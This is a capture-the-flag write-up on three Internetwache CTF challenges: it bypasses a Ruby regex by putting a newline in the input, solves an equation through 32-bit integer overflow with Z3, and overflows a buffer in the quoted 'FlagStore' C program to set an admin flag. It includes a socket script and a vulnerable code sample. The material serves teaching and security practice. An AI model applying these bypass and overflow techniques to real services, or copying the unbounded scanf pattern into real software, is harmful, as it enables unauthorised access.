Internetwache CTF: Exploit 50, 60 and 70

By Sam Brown (@_samdb_)

These were all quick solves so I lumped them together.

Exploit 50: Ruby's count
Intro

Conecting to the service it demands you enter characters matching the regex '/^[a-f]{10}$/' which it then sums the ascii values of and prints the flag if the value is greated than 1020. The regex only validates lines so by sending input that starts with 'aaaaaaaaaa' followed by a '\n' and then more values values we will get passed the regex and when summed the values will be higher then needed.

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("188.166.133.53", 12037))
print s.recv(1024)
s.send("aaaaaaaaaa\nAAAAAAAAAA")
print s.recv(1024)

Exploit 60: Equation Solver
intro When connecting to the service we are presented with an 'impossible' to solve equation:

X > 1337
X * 7 + 4 = 1337

However the equation can be satisfied using integer overflow. I used Z3 to quickly find a 32 bit int that met the needed requirments :)

from z3 import *
import sys

if __name__ == "__main__":
    #X > 1337
    #X * 7 + 4 = 1337

    x = BitVec('x', 32)
    s = Solver()
    s.add(x > 1337)
    s.add(x * 7 + 4 == 1337)
    if s.check():
        print int(str(s.model()[x]))
    else:
        print "unsat :("

Exploit 70: FlagStore
intro

Opening the zip we get the following code snippet:

#include <stdio.h>
#include <string.h>
#include "flag.h"

void register_user(char *username, char *password);
int check_login(char *user, char *pass, char *username, char *password);


int main() {
    char username[500];
    int is_admin = 0;
    char password[500];
    int logged_in = 0;
    char flag[250];

    char user[500];
    char pw[500];
    setbuf(stdout, NULL);
    printf("Welcome to the FlagStore!\n");

    while (1) {
        printf("Choose an action:\n");
        printf("> %s: 1\n> %s: 2\n> %s: 3\n> %s: 4\n", "regiser", "login", "get_flag", "store_flag");
        int answer = 0;
        scanf("%d", &answer);

        switch(answer) {
            case 1:
                printf("Enter an username:");
                scanf("%s", username);
                printf("Enter a password:");
                scanf("%s", password);

                if(strcmp(username, "admin") == 0) {
                    printf("Sorry, admin user already registered\n");
                    break;
                }

                if(strlen(password) < 6) {
                    printf("Sorry, password too short\n");
                    break;
                }

                register_user(username, password);
                printf("User %s successfully registered. You can login now!\n", username);

                break;
            case 2:
                printf("Username:");
                scanf("%499s", user);
                printf("Password:");
                scanf("%499s", pw);

                if(check_login(user, pw, username, password) == -1) {
                    printf("Wrong credentials!\n");
                    break;
                }

                logged_in = 1;
                printf("You're now authenticated!\n");

                break;
            case 3:
                if(logged_in == 0) {
                    printf("Please login first!\n");
                    break;
                }

                if(is_admin != 0) {
                    strcpy(flag, FLAG);
                }

                printf("Your flag: %s\n", flag);

                break;
            case 4:
                if(logged_in == 0) {
                    printf("Please login first!\n");
                    break;
                }

                printf("Enter your flag:");
                scanf("%s",flag);

                printf("Flag saved!\n");

                break;
            default:
                printf("Wrong option\nGood bye\n");
                return -1;
        }
    }
}

void register_user(char *username, char *password) {
    //XXX: Implement database connection
    return;
}

int check_login(char *user, char *pass, char *username, char *password) {
    if (strcmp(user, username) != 0 || strcmp(pass, password) != 0) {
        return -1;
    }
    return 0;
}

There's not any bounds checking on the username field so we reigsters a user with a name that is 501 characters long and then login with a user with a normal length name and the 'is_admin' field should still be corrupted, this means it doesn't equal 0 anymore and gives us the flag.